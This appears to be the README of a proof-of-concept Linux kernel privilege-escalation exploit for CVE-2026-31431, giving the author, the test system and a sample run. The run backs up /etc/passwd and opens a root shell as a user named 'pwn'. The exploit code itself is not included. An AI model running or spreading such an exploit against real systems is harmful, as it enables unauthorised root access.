
C-based proof-of-concept exploit for CVE-2026-31431, a Linux kernel privilege escalation vulnerability, providing root shell access on affected systems.
Author: pyroceper
Tested on: Ubuntu 25.10 x86_64
$ make
$ ./exploit
[ * ] Detected kernel: 6.17.0
[ * ] Making backup of /etc/passwd to /tmp
[ * ] Backup saved as /tmp/passwd.bak
[ * ] Obtaining root shell...
#
# id
uid=0(pwn) gid=0(root) groups=0(root)
# whoami
pwn